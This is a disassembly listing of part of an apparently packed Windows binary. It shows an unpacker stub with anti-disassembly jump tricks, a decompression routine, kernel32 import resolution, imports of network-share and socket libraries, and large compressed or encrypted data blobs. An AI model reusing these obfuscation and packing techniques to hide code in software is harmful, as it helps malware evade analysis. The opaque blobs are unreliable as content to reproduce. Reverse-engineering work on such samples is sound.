dword_4E1920 dd 0 ; sub_41EF81+Cr ...
dword_4E1924 dd 0 ; sub_41F302+14r ...
dd 6 dup(0)
dword_4E1940 dd 400h dup(0) ; .nsp0:00442B40o
dword_4E2940 dd 0 ; sub_41E2C0+56r ...
dword_4E2944 dd 0 ; .nsp0:0041FE21w ...
align 10h
dword_4E2950 dd 3 dup(0) ; .nsp0:0041FE7Fo ...
dword_4E295C dd 0 ; .nsp0:0041FE6Bw ...
byte_4E2960 db 0 ; DATA XREF: .nsp0:loc_420059w
; .nsp0:loc_420076w ...
align 4
dd 3Fh dup(0)
byte_4E2A60 db 0 ; DATA XREF: .nsp0:0041FDBDo
; sub_41FF24+6o
byte_4E2A61 db 0 ; DATA XREF: sub_41C081+5Dr
; .nsp0:loc_41FDF5w ...
align 4
dd 40h dup(0)
dword_4E2B64 dd 0 ; .nsp0:0041FE66w ...
dword_4E2B68 dd 0 ; sub_41EA06+5r ...
dword_4E2B6C dd 0 ; sub_41E3D2+259r ...
dword_4E2B70 dd 0 ; sub_41E3D2+310w ...
dword_4E2B74 dd 0 ; sub_41E3D2+22Cr ...
dword_4E2B78 dd 0 ; sub_41E3A7r ...
dword_4E2B7C dd 0 ; sub_41E3A7+8r ...
dword_4E2B80 dd 0 ; sub_41BA78+A9r ...
dword_4E2B84 dd 0 ; .nsp0:00422D9Dr
dword_4E2B88 dd 0 ; sub_4258F3r
dword_4E2B8C dd 0 ; sub_4200D2+11w ...
dword_4E2B90 dd 0 ; sub_41D673+13r ...
dword_4E2B94 dd 0 ; sub_41BE83+57r ...
byte_4E2B98 db 0 ; DATA XREF: sub_4265A4+15r
; sub_4265A4+1Ew
align 4
dd 119h dup(0)
db 90h
; ---------------------------------------------------------------------------
pusha
call loc_4E300A
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
jmp short loc_4E300E
; ---------------------------------------------------------------------------
loc_4E300A: ; CODE XREF: .nsp0:004E3002j
pop ebp
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
loc_4E300E: ; CODE XREF: .nsp0:004E3008j
call loc_4E3014
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4E3014: ; CODE XREF: .nsp0:loc_4E300Ej
pop ebp
mov ebx, 0FFFFFFEDh
add ebx, ebp
sub ebx, 0E3000h
cmp byte ptr [ebp+4Dh], 1
jnz short loc_4E3034
mov esi, [esp+28h]
cmp esi, 1
mov [ebp+4Eh], ebx
jnz short loc_4E3065
loc_4E3034: ; CODE XREF: .nsp0:004E3026j
lea eax, [ebp+53h]
push eax
push ebx
push dword ptr [ebp+9EDh]
lea eax, [ebp+35h]
push eax
jmp loc_4E30CA
; ---------------------------------------------------------------------------
dd 9B0000h, 30000h, 7C809AE4h, 9DE000h, 7C801D77h, 7C80B6A1h
dd 0
db 0
; ---------------------------------------------------------------------------
loc_4E3065: ; CODE XREF: .nsp0:004E3032j
mov eax, 23A5C0F8h
push eax
push eax
add eax, [ebp+4Eh]
pop ebx
test eax, eax
jz short loc_4E3090
jmp short loc_4E3077
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4E3077: ; CODE XREF: .nsp0:004E3074j
cmp ebx, 23A5C0F8h
jz short loc_4E30B4
xor edx, edx
push esi
push 0
push esi
push dword ptr [ebp+4Eh]
call eax
pop esi
cmp esi, 0
jnz short loc_4E30B4
loc_4E3090: ; CODE XREF: .nsp0:004E3072j
xor edx, edx
mov eax, [ebp+41h]
test eax, eax
jz short loc_4E30A0
push edx
push edx
push dword ptr [ebp+35h]
call eax
loc_4E30A0: ; CODE XREF: .nsp0:004E3097j
mov eax, [ebp+35h]
test eax, eax
jz short loc_4E30B4
push 8000h
push 0
push dword ptr [ebp+35h]
call dword ptr [ebp+3Dh]
loc_4E30B4: ; CODE XREF: .nsp0:004E307Dj
; .nsp0:004E308Ej ...
pop ebx
or ebx, ebx
popa
jnz short loc_4E30C0
push 1
pop eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4E30C0: ; CODE XREF: .nsp0:004E30B8j
xor eax, eax
neg eax
sbb eax, eax
inc eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4E30CA: ; CODE XREF: .nsp0:004E3043j
call near ptr loc_4E30DB+1
xchg eax, ecx
div bh
db 64h
int 82h
xchg eax, ebx
ror cl, 1
into
out dx, eax
cld
loc_4E30DB: ; CODE XREF: .nsp0:loc_4E30CAp
test [edi], ecx
test [ebx], eax
; ---------------------------------------------------------------------------
db 0
dd 0CB800000h, 0EE85E83h, 7E000000h, 8AF52CDFh, 567118FBh
dd 0E2ADC4D7h, 48E68173h, 5840D958h, 0AC72C768h, 7E838h
dd 60630000h, 8CBFDE19h, 815E5AD5h, 837C0h, 4EBCB900h
dd 0C1810355h, 0FCAAB327h, 9566C681h, 30FF1B6Ah, 0EE95Fh
dd 9F3E0000h, 0BB4AB5ECh, 971631D8h, 33A26D84h, 0ECA3EF81h
dd 0BB665F2Eh, 0F781CCFAh, 3C269BA0h, 9E857h, 52DD0000h
dd 9ED92023h, 0F954C7Fh, 5A5AF3B7h, 3359F781h, 4E685D9Bh
dd 816EA6ADh, 250C67EBh, 51575E62h, 38C0Fh, 0B70F0000h
dd 8F5ED2h, 0BE03E883h, 4D5C6261h, 0F08B6648h, 93850F49h
dd 66FFFFFFh, 0D8BBF38Bh, 0E80BCC74h, 6, 6D849716h, 13E933A2h
dd 8F000000h, 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h
dd 0E85A954Ch, 0Dh, 0E4777611h, 5013024Dh, 7C6F4E49h, 0DE905h
dd 26810000h, 0B2BD1467h, 0FEB98003h, 5E75AC5Fh, 77EC281h
dd 0C1810000h, 22044962h, 68h, 0DCD18100h, 5F2372CAh, 10E8h
dd 8661C800h, 129D7447h, 5E99E0E3h, 6A550C3Fh, 0F08B665Bh
dd 3A048B5Bh, 0E88187B7h, 6079E054h, 0FE9h, 41284B00h
dd 7DD427E6h, 7940C372h, 356C1FBEh, 4BFDF081h, 81500B36h
dd 532822E6h, 0F0815E29h, 53F3A0F2h, 0D346BB66h, 59BE6650h
dd 3A048F35h, 2AF18166h, 64C18155h, 83429A38h, 0F18B04EFh
dd 0F98CFF81h, 850FFFFFh, 31h, 0FE8h, 1E80B00h, 3D94E7A6h
dd 39008332h, 0F52CDF7Eh, 59DE8B66h, 21E9h, 3A655C00h
dd 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0FF6FE9DBh
dd 8990FFFFh, 45BCAF8Eh, 7B2CB9Ah, 0BE8h, 0FD54A700h, 0F9C043F2h
dd 0B5EC9F3Eh, 0AEAAD868h, 0E281662Bh, 5E590C6Dh, 81C78B66h
dd 669C6h, 0C6D98000h, 68h, 86526800h, 0D9686B8Ch, 0E97A0D57h
dd 11h, 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 5B5A5905h
dd 0FFCAB70Fh, 0FE683334h, 5836635Ah, 8158535Fh, 0BD6942F7h
dd 816EB225h, 0C41D53EFh, 0E0ED8072h, 0F690EF81h, 0BF0F5FA1h
dd 1E3C89D0h, 8BCEBF0Fh, 2EB83C7h, 128A0Fh, 0DE90000h
dd 41000000h, 7DD427E6h, 7940C372h, 356C1FBEh, 0DE84B4Bh
dd 0B1000000h, 0ED041796h, 0E970B322h, 0A59C0F6Eh, 5ACAB70Fh
dd 0FA50FB81h, 850FFFFFh, 0FFFFFF93h, 8B66ECB1h, 10E8F3h
dd 0D1F80000h, 0DA43736h, 910D3C2h, 0C53C2F0Eh, 81664B1Ah
dd 5A9C6CEEh, 5A4C281h, 0BE90000h, 17000000h, 0B322ED04h
dd 0F6EE970h, 0BBA59Ch, 8B000000h, 1334FFF7h, 15EF8166h
dd 0B966586Fh, 0E881E791h, 49EF4D86h, 82D18166h, 47C0818Ch
dd 81602706h, 717E74C0h, 89F88B36h, 9E81A04h, 3D000000h
dd 39008332h, 0F52CDF7Eh, 2EB835Fh, 0EC2EBF66h, 0FB814B4Bh
dd 0FFFFFAD8h, 0FFB3850Fh, 0E8FFFFh, 5D000000h, 5B5D895Bh
dd 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h, 85895975h
dd 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h, 2E4h
dd 648B1CEBh, 67640824h, 68Fh, 6104C483h, 5063458Dh, 0E85F55FFh
dd 2DEh, 676409EBh, 68Fh, 0EB24C483h, 3048001Bh, 0B6A1004Eh
dd 656B7C80h, 6C656E72h, 642E3233h, 0E8006C6Ch, 29Ch, 8CB58DFCh
dd 0AD000000h, 1B74C00Bh, 0CB9F88Bh, 0F3000000h, 10EBA4h
dd 20004010h, 19B2BB43h, 0FD80AA11h, 89A35ACDh, 429A5h
dd 68406A00h, 1000h, 408B5FFh, 6A0000h, 3F095FFh, 85890000h
dd 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h, 6A000001h
dd 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h, 4318589h
dd 85890000h, 1D0h, 0A16764h, 2D858900h, 8B000004h, 858B5B55h
dd 1D0h, 858B0289h, 408h, 8D044289h, 39F85h, 55408B00h
dd 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h, 0CC958B14h
dd 0BB000001h, 1F8h, 0C1A7C8Bh, 1E74FF0Bh, 101A4C8Bh, 1174C90Bh
dd 1D0BD03h, 748B0000h, 0F203141Ah, 0F302F9C1h, 28C383A5h
dd 858BDAEBh, 1CCh, 0D0958B50h, 52000001h, 0DA03188Bh
dd 3E4858Bh, 3890000h, 3E8858Bh, 43890000h, 0EC858B04h
dd 89000003h, 5E5F0843h, 304468Bh, 0C78589C7h, 8B000001h
dd 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh, 6A5300h, 16A006Ah
dd 85E8B57h, 6853DF03h, 8000h, 0FF56006Ah, 3F495h, 0E0006800h
dd 0C3009Dh, 9800h
db 0, 9Bh, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
cld
mov dl, 80h
loc_4E35E5: ; CODE XREF: .nsp0:loc_4E35F4j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_4E35EB: ; CODE XREF: .nsp0:004E3649j
; .nsp0:004E368Ej ...
add dl, dl
jnz short loc_4E35F4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E35F4: ; CODE XREF: .nsp0:004E35EDj
jnb short loc_4E35E5
add dl, dl
jnz short loc_4E35FF
mov dl, [esi]
inc esi
adc dl, dl
loc_4E35FF: ; CODE XREF: .nsp0:004E35F8j
jnb short loc_4E364B
xor eax, eax
add dl, dl
jnz short loc_4E360C
mov dl, [esi]
inc esi
adc dl, dl
loc_4E360C: ; CODE XREF: .nsp0:004E3605j
jnb loc_4E36E8
add dl, dl
jnz short loc_4E361B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E361B: ; CODE XREF: .nsp0:004E3614j
adc eax, eax
add dl, dl
jnz short loc_4E3626
mov dl, [esi]
inc esi
adc dl, dl
loc_4E3626: ; CODE XREF: .nsp0:004E361Fj
adc eax, eax
add dl, dl
jnz short loc_4E3631
mov dl, [esi]
inc esi
adc dl, dl
loc_4E3631: ; CODE XREF: .nsp0:004E362Aj
adc eax, eax
add dl, dl
jnz short loc_4E363C
mov dl, [esi]
inc esi
adc dl, dl
loc_4E363C: ; CODE XREF: .nsp0:004E3635j
adc eax, eax
jz short loc_4E3646
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E3646: ; CODE XREF: .nsp0:004E363Ej
mov [edi], al
inc edi
jmp short loc_4E35EB
; ---------------------------------------------------------------------------
loc_4E364B: ; CODE XREF: .nsp0:loc_4E35FFj
mov eax, 1
loc_4E3650: ; CODE XREF: .nsp0:loc_4E3664j
add dl, dl
jnz short loc_4E3659
mov dl, [esi]
inc esi
adc dl, dl
loc_4E3659: ; CODE XREF: .nsp0:004E3652j
adc eax, eax
add dl, dl
jnz short loc_4E3664
mov dl, [esi]
inc esi
adc dl, dl
loc_4E3664: ; CODE XREF: .nsp0:004E365Dj
jb short loc_4E3650
sub eax, 2
jnz short loc_4E3693
mov ecx, 1
loc_4E3670: ; CODE XREF: .nsp0:loc_4E3684j
add dl, dl
jnz short loc_4E3679
mov dl, [esi]
inc esi
adc dl, dl
loc_4E3679: ; CODE XREF: .nsp0:004E3672j
adc ecx, ecx
add dl, dl
jnz short loc_4E3684
mov dl, [esi]
inc esi
adc dl, dl
loc_4E3684: ; CODE XREF: .nsp0:004E367Dj
jb short loc_4E3670
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E35EB
; ---------------------------------------------------------------------------
loc_4E3693: ; CODE XREF: .nsp0:004E3669j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E36A1: ; CODE XREF: .nsp0:loc_4E36B5j
add dl, dl
jnz short loc_4E36AA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E36AA: ; CODE XREF: .nsp0:004E36A3j
adc ecx, ecx
add dl, dl
jnz short loc_4E36B5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E36B5: ; CODE XREF: .nsp0:004E36AEj
jb short loc_4E36A1
cmp eax, 7D00h
jnb short loc_4E36D8
cmp eax, 500h
jb short loc_4E36D3
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E35EB
; ---------------------------------------------------------------------------
loc_4E36D3: ; CODE XREF: .nsp0:004E36C3j
cmp eax, 7Fh
ja short loc_4E36DB
loc_4E36D8: ; CODE XREF: .nsp0:004E36BCj
add ecx, 2
loc_4E36DB: ; CODE XREF: .nsp0:004E36D6j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E35EB
; ---------------------------------------------------------------------------
loc_4E36E8: ; CODE XREF: .nsp0:loc_4E360Cj
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E3704
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E35EB
; ---------------------------------------------------------------------------
loc_4E3704: ; CODE XREF: .nsp0:004E36F0j
pop ebp
sub edi, [ebp+0Ch]
mov [ebp-4], edi
popa
pop ebp
retn 8
; ---------------------------------------------------------------------------
dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h
dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h
dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h
dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h
dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h
dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh
dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h, 611C244Ch
dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h
dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h
dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h
dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah
dd 7C8000h, 540001D6h, 0F2000E3Bh, 158h, 300h, 2 dup(400000h)
dd 3 dup(0)
dd 281E0h, 0
dd 12FFA4h, 12FFE0h, 9B0000h, 1000h, 25E00h, 11E70h, 27000h
dd 1E00h, 16CBh, 29000h, 1A400h, 995Ch, 60h dup(0)
dd 2000h, 8, 6 dup(0)
dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 0E3A10h, 0E39FCh, 3 dup(0)
dd 0E3AC8h, 0E3AF5h, 3 dup(0)
dd 0E3AD0h, 0E3AFDh, 3 dup(0)
dd 0E3ADBh, 0E3B05h, 3 dup(0)
dd 0E3AE8h, 0E3B0Dh, 5 dup(0)
db 6Dh ; m
db 70h, 72h, 2Eh
db 64h ; d
db 2 dup(6Ch), 0
db 77h ; w
db 73h, 32h, 5Fh
db 33h ; 3
db 32h, 2Eh, 64h
db 6Ch ; l
db 6Ch, 0, 6Fh
db 6Ch ; l
db 65h, 61h, 75h
db 74h ; t
db 33h, 32h, 2Eh
db 64h ; d
db 2 dup(6Ch), 0
db 6Bh ; k
db 65h, 72h, 6Eh
db 65h ; e
db 6Ch, 33h, 32h
db 2Eh ; .
db 64h, 2 dup(6Ch)
db 0
db 7Fh, 51h, 0B2h
db 71h ; q
align 4
db 0
db 0C9h, 46h, 0ABh
db 71h ; q
align 4
db 0
db 0EAh, 6Ah, 12h
db 77h ; w
align 4
db 0
db 9, 2Ah, 81h
db 7Ch ; |
align 4
db 0
db 2 dup(0), 57h
aNetaddconnecti db 'NetAddConnection2A',0
align 4
db 0
aVariantchanget db 'VariantChangeTypeEx',0
db 2 dup(0), 52h
aAiseexception db 'aiseException',0
align 4
dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h
dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h
dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h
dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch
dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah
dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h
dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah
dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h
dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h
dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h
dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h
dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h
dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h
dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h
dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h
dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h
dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h
dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h
dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h
dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h
dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch
dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h
dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h
dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h
dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
dd 68288F00h, 3D800301h
dword_4E414C dd 65700041h, 230A7E16h, 5D000713h, 6F8861EFh, 0F8729EB5h
; DATA XREF: .nsp0:off_442420o
dd 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h, 841A0650h
dd 0EFB8002Fh, 5159D85h, 0C900330Eh, 0F482C080h, 173D2A40h
dd 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h, 52805C6h
dd 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h, 0C3800F51h
dd 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h, 86C8E74Ch
dd 3CC840Fh, 21D2A4D5h, 0C7971A4Ah, 0E068815Eh, 1291F0A1h
dd 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah, 0A63D51D5h
dd 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h, 153E3238h
dd 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h, 80290A52h
dd 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h, 0B1528h
dd 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h, 0B79C985h
dd 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h, 51174A24h
dd 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h, 752D709h
dd 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h, 70FCF0Ch
dd 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h, 0A08E534Fh
dd 1CA40BEh, 97F0E983h, 0C401761Ch, 7C0010FAh, 703C70Fh
dd 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h, 0C981428Ah
dd 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh, 4EA83D0h
dd 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h, 3CAC0B00h
dd 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h, 4A522A0Bh
dd 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h, 9149200h
dd 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h, 1133C800h
dd 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h, 72E0A746h
dd 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h, 0DE00030Bh
dd 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h, 3E5A250Bh
dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h, 4600FC32h
dd 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h
dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h
dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
dd 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh
dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
dd 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh
dd 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h
dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
dd 7448C51h, 591913CAh, 0A8870EAFh, 78962640h, 6B050969h
dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h
dd 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h
dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh
dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h
dd 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h
dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h
dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h
dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
dd 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h, 172DB68Dh
dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
